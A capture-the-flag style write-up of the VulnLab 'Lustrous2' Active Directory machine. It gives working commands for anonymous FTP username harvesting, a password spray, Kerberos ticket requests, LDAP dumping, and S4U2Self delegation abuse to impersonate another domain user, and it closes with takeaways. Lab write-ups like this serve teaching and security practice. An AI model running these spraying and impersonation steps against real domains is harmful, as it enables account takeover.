Lustrous2 (Hard) — VulnLab
Hard Windows Active Directory machine writeup by Uzurly (VulnLab) — Kerberos delegation abuse
Enumeration
| Port | Service | Notes |
|---|---|---|
| 21/tcp | FTP | Anonymous login allowed |
| 53/tcp | DNS | Simple DNS Plus |
| 80/tcp | HTTP | IIS 10.0, 401 Unauthorized (Negotiate) |
| 88/tcp | Kerberos | — |
| 389/tcp+ | LDAP | Domain Lustrous2.vl, cert issued by Lustrous2-CA |
| 445/tcp | SMB | — |
| 3389/tcp | RDP | cert CN=LUS2DC.Lustrous2.vl |
Hostname from the DC’s certificate: LUS2DC.Lustrous2.vl.
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echo "10.129.234.58 LUS2DC.Lustrous2.vl Lustrous2.vl" | sudo tee -a /etc/hosts
The IIS site answering 401 with WWW-Authenticate: Negotiate rather than NTLM was the detail that shaped the rest of this box — that’s Kerberos-only auth, which meant the eventual win would come from a Kerberos primitive rather than a web vulnerability.
FTP — anonymous foothold
Anonymous FTP exposed home directories for the entire domain, and a couple of shares (Development, HR, IT, ITSEC, Production, SEC) hinting at where the interesting stuff would be:
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ftp> cd ../Homes
ftp> dir
09-07-24 12:03AM <DIR> Aaron.Norman
09-07-24 12:03AM <DIR> Adam.Barnes
...
09-07-24 12:03AM <DIR> ShareSvc
...
09-07-24 12:03AM <DIR> Wayne.Taylor
A huge list of home directories — a ready-made username list — including a service account, ShareSvc, that would turn out to matter later.
An audit_draft.txt sitting in one of the shares was even more useful: a self-reported list of what had (and hadn’t) been fixed on this domain.
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Audit Report Issue Tracking
[Fixed] NTLM Authentication Allowed
[Fixed] Signing & Channel Binding Not Enabled
[Fixed] Kerberoastable Accounts
[Fixed] SeImpersonate Enabled
[Open] Weak User Passwords
Weak passwords were explicitly still an open finding — worth a password spray against the user list harvested from FTP.
Password spray → domain foothold
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nxc ldap lustrous2.vl -u 'users.txt' -p 'Lustrous2024' -k
LDAP lustrous2.vl 389 LUS2DC.Lustrous2.vl [-] Lustrous2.vl\Aaron.Norman:Lustrous2024 KDC_ERR_PREAUTH_FAILED
LDAP lustrous2.vl 389 LUS2DC.Lustrous2.vl [-] Lustrous2.vl\Adam.Barnes:Lustrous2024 KDC_ERR_PREAUTH_FAILED
LDAPS lustrous2.vl 636 LUS2DC.Lustrous2.vl [-] Lustrous2.vl\Thomas.Myers:Lustrous2024
Thomas.Myers:Lustrous2024 — a hit. I grabbed a TGT straight away:
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getTGT.py lustrous2.vl/thomas.myers:'Lustrous2024' -dc-ip lustrous2.vl
[*] Saving ticket in thomas.myers.ccache
Active Directory recon over Kerberos
With a valid ticket cached, I dumped the directory over GSSAPI-authenticated LDAP and fed it to BOFHound to build a BloodHound-compatible dataset:
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ldapsearch -LLL -H ldap://lus2dc.lustrous2.vl -Y GSSAPI -b "DC=LUSTROUS2,DC=VL" -N -o ldif-wrap=no \
-E '!1.2.840.113556.1.4.801=::MAMCAQc=' "(&(objectClass=*))" | tee ldap.txt
python3 ldap_search_parser.py ldap.txt ldap2.txt
bofhound --input ldap2.txt --output BLOOD --zip
The web application — Kerberos-only auth
Back to that IIS site on port 80/443. An unauthenticated request confirmed Negotiate-only auth; presenting the Kerberos ticket I already held got me in:
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curl http://lus2dc.lustrous2.vl -I
HTTP/1.1 401 Unauthorized
WWW-Authenticate: Negotiate
curl --negotiate -u : http://lus2dc.lustrous2.vl -I
HTTP/1.1 200 OK
WWW-Authenticate: Negotiate oYG3MIG0oAMKAQChCwYJKoZIhvcSAQICooGfBIGc...
For anyone wanting to browse this interactively rather than curl it, Firefox needs its SPNEGO allow-list configured before it will hand over a Kerberos ticket to a site:
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# about:config
network.negotiate-auth.delegation-uris: lus2dc.lustrous2.vl
network.negotiate-auth.trusted-uris: lus2dc.lustrous2.vl
network.negotiate-auth.using-native-gsslib: true
Abusing delegation via ShareSvc
BloodHound’s collection surfaced delegation rights tied to the ShareSvc account spotted earlier in the FTP home directories — enough to perform an S4U2Self request, impersonating an arbitrary domain user (Ryan.Davies) for the web application’s service class, without ever needing that user’s own credentials:
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getST.py -self -impersonate "Ryan.Davies" -k -no-pass lustrous2.vl/ShareSvc -altservice HTTP/lus2dc.lustrous2.vl
export KRB5CCNAME=Ryan.Davies@HTTP_lus2dc.lustrous2.vl@LUSTROUS2.VL.ccache
curl --negotiate -u : http://lus2dc.lustrous2.vl -I
That forged ticket authenticated to the web application as Ryan.Davies — full impersonation of an arbitrary domain identity against the Kerberos-only app, without ever touching that user’s password.
Takeaways
WWW-Authenticate: Negotiate(Kerberos) instead ofNTLMis a strong signal that the intended path is a Kerberos delegation primitive, not a classic NTLM relay.- FTP home-directory listings are a free username list — and sometimes list the service accounts too.
- An “audit report” left on a share is either a red herring or a roadmap; here it explicitly said which class of weakness was still open.
- S4U2Self lets a service impersonate any user for itself without that user’s credentials — the real question is always which service account has been handed delegation rights it shouldn’t have.












